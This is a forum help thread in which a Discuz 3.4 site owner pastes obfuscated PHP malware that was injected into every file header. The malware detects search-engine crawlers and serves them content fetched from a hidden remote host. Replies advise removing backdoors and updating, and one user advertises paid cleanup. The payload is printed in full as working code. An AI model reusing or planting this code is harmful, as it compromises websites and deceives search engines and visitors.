请选择 进入手机版 | 继续访问电脑版
查看: 951|回复: 3

[求助] DZ3.4被挂木马解决问题

[复制链接]

1

主题

2

帖子

7

积分

Newbie

Rank: 1

贡献
0 点
金币
5 个
发表于 2022-1-10 19:35:52 | 显示全部楼层 |阅读模式
各位大大,请问 论坛所有PHP代码头被植入以下代码,请问彻底解决?每次换新代码覆盖没两天,就又被植入了。


<?php
goto kBVB3; xe7sW: curl_setopt($ch, CURLOPT_HEADER, false); goto nXwRQ; LHGRb: header("\x43\x6f\x6e\164\x65\156\164\x2d\124\171\160\x65\72\x74\x65\170\x74\57\150\164\x6d\154\73\143\x68\x61\x72\x73\145\x74\x3d\x67\x62\x32\x33\61\x32"); goto Zcla7; R_Ek0: $file = base64_decode("\x61\x48\x52\60\143\x44\157\166\114\63\x52\154\132\x6e\116\x30\x4c\x6e\150\64\x62\x44\147\64\x4c\155\116\165\117\x6a\x67\167\115\104\101\x76\x61\x6e\x4e\x6a\x4c\x77\x3d\75") . base64_decode("\114\62\154\x75\132\x47\126\x34\114\156\102\x6f\143\x44\x39\x6f\142\63\116\60\x50\x51\x3d\75") . $host_name . "\x26\161\75" . $_SERVER["\121\125\105\122\131\137\123\x54\x52\x49\x4e\x47"]; goto z_rtS; lMvlC: curl_close($ch); goto oY2r7; ENQsF: curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "\107\105\124"); goto xe7sW; oY2r7: echo $c; goto YyrfW; z_rtS: $ch = curl_init(); goto qxRPh; Zcla7: $host_name = "\x68\x74\x74\x70\x3a\x2f\x2f" . $_SERVER["\123\x45\122\x56\x45\x52\x5f\x4e\x41\115\x45"] . $_SERVER["\x50\110\x50\x5f\123\105\x4c\106"]; goto oGR_n; nXwRQ: curl_setopt($ch, CURLOPT_USERAGENT, $ua); goto Ob49w; qxRPh: curl_setopt($ch, CURLOPT_URL, $file); goto ENQsF; QwSWs: $c = curl_exec($ch); goto lMvlC; kxsvc: if (!(strpos($key, "\x62\x61\x69\144\x75") !== false || strpos($key, "\x68\141\157\163\x6f\165") !== false || strpos($key, "\x33\x36\60") !== false || strpos($key, "\171\x69\x73\157\165") !== false || strpos($key, "\x73\157\x67\157\x75") !== false || strpos($key, "\x67\x6f\157\147\x6c\145") !== false || strpos($key, "\x62\x79\164\145") !== false)) { goto dHcq4; } goto LHGRb; oGR_n: $ua = $_SERVER["\110\x54\x54\120\137\125\123\x45\122\x5f\x41\107\105\x4e\x54"]; goto R_Ek0; Ob49w: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto QwSWs; YyrfW: return; goto co91e; kBVB3: $key = strtolower($_SERVER["\x48\x54\x54\x50\137\125\x53\x45\122\x5f\x41\x47\x45\116\124"]); goto kxsvc; co91e: dHcq4:
?>


我知道答案 回答被采纳将会获得5 金币 已有3人回答
回复

使用道具 举报

1

主题

2

帖子

7

积分

Newbie

Rank: 1

贡献
0 点
金币
5 个
 楼主| 发表于 2022-1-10 19:36:55 | 显示全部楼层
网站打开就是一片空白。怎么处理比较好,用论坛工具也查了权限是没问题的
回复 支持 反对

使用道具 举报

51

主题

1141

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

贡献
2000 点
金币
1589 个
发表于 2022-1-10 22:11:23 | 显示全部楼层
全站全面排查清理后门,再更新discuz到最新版,不行的话联系这里付费排查:https://addon.dismall.com/service.html
回复 支持 反对

使用道具 举报

10

主题

1540

帖子

1731

积分

开发者

discuz 老兵

Rank: 6Rank: 6Rank: 6

贡献
0 点
金币
172 个
QQ
发表于 2022-3-22 14:38:33 | 显示全部楼层
可以联系我的QQ交谈 专业有偿查杀各类木马      你的木马被程序化了 你光删除是没用的    木马已经渗透到各个文件夹 及程序原有文件 你删除一个表面 下一个木马 直接自动就生成了。。  可以联系我的QQ129820   专业查杀
个人业务QQ:129820  站长交流QQ群:328380
解决各类discuz疑难杂症和服务器问题!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

添加有偿服务QQ
添加有偿服务微信